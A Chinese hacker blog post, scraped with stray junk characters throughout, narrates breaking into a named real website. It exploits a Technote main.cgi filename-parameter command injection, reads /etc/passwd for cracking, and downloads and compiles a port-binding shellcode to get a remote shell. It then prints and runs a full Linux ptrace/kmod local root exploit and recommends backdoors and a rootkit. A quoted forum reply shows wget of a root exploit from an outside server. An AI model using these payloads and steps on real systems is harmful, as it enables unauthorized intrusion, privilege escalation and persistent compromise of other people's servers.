从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

4 x7 [6 }0 n) W

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

) d0 {! E( J8 }0 ^% g* E' @3 o2 B9 a

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

, {; c0 n: r7 s) k) G5 Z& g

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

4 _$ d2 j- p' J6 K3 E, g

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

# _# P/ B7 _) I& M' R0 e% }

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

个漏洞以WEB进程权限在系统上执行任意命令。

8 C6 z" o, @- \1 {7 ]+ C; `0 E1 b( u

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

5 j5 }: \" u( [

数内容，可能以WEB进程权限在系统上执行任意命令。

9 u: C7 U/ Q4 F% }5 m0 j; H4 C

给出利用方法

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

3 Y* q# L( V r9 T/ v

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

+ ^/ D7 z4 d; c& J! G( d) M1 h

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

^_^.

8 d0 k" K: T, R% r: y

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

& p& J$ T$ ~* i6 w9 m

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

6 j- Y& l+ L2 ^; o: D" @

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

. E; c4 R- }6 I

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

* I' m0 E. B' e: e; f% j" c

结果如图1

大家看到结果了

uid=99(nobody) gid=99(nobody) groups=99(nobody) ; i8 {. C) ~1 D2 S. l; ?# K2 k下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， G& a% K! g/ g我程序的工作 界面。如图2

3 n& m2 c+ D% g' _( u% `2 T

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

不多，

6 Q; S. T Y7 |7 l' D

如图3

: V5 j" W6 U \; f( _

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

不错，能拿到/etc/passwd。

如图4

8 e$ ]8 Z. {0 e2 _

5 ?+ n; r, a: z5 s

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

如图5

. w2 `) G4 J5 V

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

This one works fine

; t2 T; {2 q6 E2 ~

http://rst.void.ru/download/r57phpbb2010.txt

( z+ U7 y$ [0 U( E4 S+ \3 w

upload, someth like this

4 L( G q& k) J* F8 [- r

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

4 `: ]. d. v, Q& \* Z1 o$ M

./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

l' k- M! W9 s+ K& u: _

exec on victim hots same shit

and binding shell

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

/ S5 _( A. z$ i$ h( e! y, v3 u

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

8 i3 e ^! C! u& E/ G" ]/ u% `

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

) ~6 _6 G, ]0 z/ v; s: p

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

7 s* v1 N, ]8 G/ a2 e) K( T% L

This would be ideal for a system which you didn't have a direct login shell upon.

) s) N7 a/ H3 a/ U# W

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

" l* U6 I8 \7 \1 } l/ g

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 7 ?( j! O/ b5 h$ C0 o$ c4 k * - by bighawk (bighawk@warfare.com) 0 g) I/ `6 X8 v3 |! |7 { ^( @ * : [8 h5 C$ g1 Y* D3 K- Z% L/ z) a * This shellcode binds a shell on port 20000 ( T# ` I- }) o' K( N% ^ * * stdin, stdout and stderr are dupped. accept() arguments are sane. */

char code[] =

"\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx ' o; j) {% N! }& M' x- f "\xb0\x66" // mov al, 102 0 l3 z% F, S) b( v+ J6 ]% l "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx ) h& Q, l3 g2 ` "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx 8 z/ I2 ]0 _& P, \0 _; v "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax 6 S7 \1 F# a6 g+ u7 V "\x52" // push edx m6 J! _* v. }4 ~ "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx # O" @. |; l# g: C "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 4 P( R7 D/ F; k "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi & g+ w' f) h7 L G' [! r# \# w, P "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 $ x# c* n0 G* Y+ w+ G9 R) m: v5 i "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx ' Q5 Q' A! S4 i0 e, h+ A "\xcd\x80" // int 80h "\x50" // push eax t' C- Z2 Y. \3 J "\x50" // push eax ' r4 e( `) N3 U2 @3 Z# E9 t4 [ "\x57" // push edi 9 u' i9 e0 V* W- w7 l1 X, C "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 6 v+ o" n' `7 ]/ v: M "\xcd\x80" // int 80h % `1 [; o# j. w4 F1 q1 q "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 9 ]( E, {+ d& `* o) u; ^ "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx 7 H9 r1 a# f) i8 Y "\xe2\xf8" // loop lp $ C3 Q3 ~7 j* V9 A) z) L0 X4 q "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh . f7 A& a3 o- }! s* g( T "\x89\xe3" // mov ebx, esp 6 i4 ^! S- r% N0 ` "\x51" // push ecx # |3 `( W' Q9 O$ a9 _' I7 I "\x53" // push ebx "\x89\xe1" // mov ecx, esp : b- i! M+ z* ]) } "\xb0\xf4" // mov al, 244 e7 M. ~8 `9 T. N8 C "\xf6\xd0" // not al 8 @! Z1 j2 |8 p* _' j) s "\xcd\x80"; // int 80h

9 t2 a. o, B, Q. V6 [& @9 Vmain() { 0 w, Q) k, Q1 v: B1 V9 w void (*a)() = (void *)code; ( y; n6 X- n# Z5 { int i; 9 R+ A7 o5 W) d printf("size: %d bytes\n", strlen(code)); & Q9 b- [6 s& m3 T0 l1 n printf("Testing for cntrl characters.. "); for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); " J+ Q6 x* _8 ]! s- U9 r/ K8 W* a printf("PASSED\n"); % O; T" D% W3 B( }$ ^' x5 j a(); } 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， 就可以用wget这个命令来下载了，输入 ( r2 b3 ~; l- \0 W0 q% p: Kwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 % q+ V9 G7 U) t: w( I就是下载这个shell.c到/tmp目录下，如图6

然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs 这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 5 _& y* i7 O, M/ l' e/ _/ P[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 12gcc: /usr/bin/gcc 8 M1 A) s# i2 J! y" S. s. C' }好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind 6 a e8 I5 J5 ~ U X+ t Y编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， * j4 U2 S. i# h7 e/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 % K. h. T* w2 h& U哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" 呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 (nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* / ~0 ^; K1 i: A: o. j& T: M6 k5 Y! Y* Linux kernel ptrace/kmod local root exploit 9 e* B. P+ K5 l! w* ; O. L1 I. O0 i* This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. ) m6 l- K; U( T6 t( o* * Should work under all current 2.2.x and 2.4.x kernels. 0 C2 e) B1 \3 R! T, U0 O1 n, G* * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. 1 M4 T4 G8 [9 j8 Y. ?. q& q6 O& b* 4 C7 j0 t/ k+ Q2 C! R* Wojciech Purczynski <cliph@isec.pl> ) d6 b$ x |/ \" p* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY ! E9 @: V: V9 b; J5 o7 K* * (c) 2003 Copyright by iSEC Security Research */

#include 2 [' P+ \9 P. z- F+ n. _; Q- z# B#include #include ! u) q) U7 c' m#include #include : i- Z$ p& w2 q5 i# |* R3 D3 B#include #include #include 9 A4 |0 Y7 G$ K# H/ J#include #include #include . p' @, {) X4 g! Z( Z#include $ \% \* V2 k& V! z9 e0 y: [#include g3 c9 B/ j+ _+ t9 L% f#include ?; D3 t8 {. A6 J i#include #include

char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" 1 k1 t9 h" x- Q6 f# J"\x00\x00\xcd\x80\x89\xd0\x89\xd3" : Q# |6 L. t; e, ~* g"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; pid_t child = 1; " e Z; X) S1 i) v6 Mpid_t victim = 1; volatile int gotchild = 0;

void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); ! ]$ P% S+ `/ `3 E3 o/ X# Ikill(child, SIGKILL); kill(victim, SIGKILL); }

void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]; ! ]- E* p, D1 J. w+ hunsigned long * src; int i, len;

memcpy(buf, cliphcode, CODE_SIZE); / m8 H& s( f8 v% v2 Dlen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); ) G2 R4 F1 u* Tif (len == -1) fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; 1 m8 {8 E1 w7 M" ~9 r% Q7 Mbuf[len] = '\0';

src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) 1 v: Q5 S) o* f6 W$ `/ ^9 ifatal("[-] Unable to write shellcode"); }

void sigchld(int signo) 5 ]4 V2 d: w8 a{ - |5 R& g, \ lstruct user_regs_struct regs;

if (gotchild++ == 0) " F( J8 Z u7 F1 h0 yreturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim");

exit(0); * Q; M1 u0 x ^) {8 A# ?; E}

void sigalrm(int signo) - r, i& G' p9 _! p9 [) M$ m% ]{ errno = ECANCELED; fatal("[-] Fatal error"); 1 @7 _* S2 _& E! N R0 f}

void do_child(void) { # E4 V ~" Q8 c1 ]int err;

child = getpid(); victim = child + 1;

signal(SIGCHLD, sigchld);

do err = ptrace(PTRACE_ATTACH, victim, 0, 0); + M! A$ \! r+ i# i9 m) owhile (err == -1 && errno == ESRCH);

if (err == -1) 5 _$ o' ?5 ~; X B2 P: v6 }fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); $ J; j7 p: ]( K- T2 E$ }while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) 6 E- |1 n# X6 z4 l+ F) ]6 ^4 Ofatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n");

for(;;); }

void do_parent(char * progname) 3 }5 l% e% {& ~8 X' u$ D{ 4 j4 r9 T ]2 _* p, Zstruct stat st; ) a& }: X, z! X! |5 \8 Q; \) @int err; & Q, W' J5 o& X7 kerrno = 0; 1 w2 n+ T, @; U% msocket(AF_SECURITY, SOCK_STREAM, 1); + f& _5 r3 `8 N+ U3 j7 @+ Wdo { err = stat(progname, &st); ' X% K# V8 l# J n} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) ! p1 I, i& h1 X/ ~fatal("[-] Unable to stat myself");

alarm(0); # b) a& W0 c3 @% d& ysystem(progname); - a2 ?/ @0 R( v}

void prepare(void) 8 z' E6 w, F4 G# h* j$ U{ ( l5 y) A+ E1 R- E6 |% Gif (geteuid() == 0) { initgroups("root", 0); . Z" _1 r: l# ?* E" Hsetgid(0); 5 X" d- c: x: f3 O" jsetuid(0); execl(_PATH_BSHELL, _PATH_BSHELL, NULL); * r* _- r2 h+ n2 O6 _. J: [fatal("[-] Unable to spawn shell"); - o" V3 H! p3 S" Q% @} + l; W+ t: k8 f# B9 Z- L}

int main(int argc, char ** argv) { prepare(); 5 n$ X: p4 i3 E7 \- u9 Gsignal(SIGALRM, sigalrm); ! ]3 Y9 X* G( kalarm(10);

parent = getpid(); child = fork(); 0 H0 e; d8 z+ g( ?+ Q( G+ Yvictim = child + 1;

if (child == -1) fatal("[-] Unable to fork");

if (child == 0) & Q# H; Q9 V3 F: T ^! ?do_child(); 9 I1 F7 _8 _9 ]4 _1 Zelse do_parent(argv[0]);

return 0; 5 C5 s1 |7 {3 }) s+ n7 w}CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.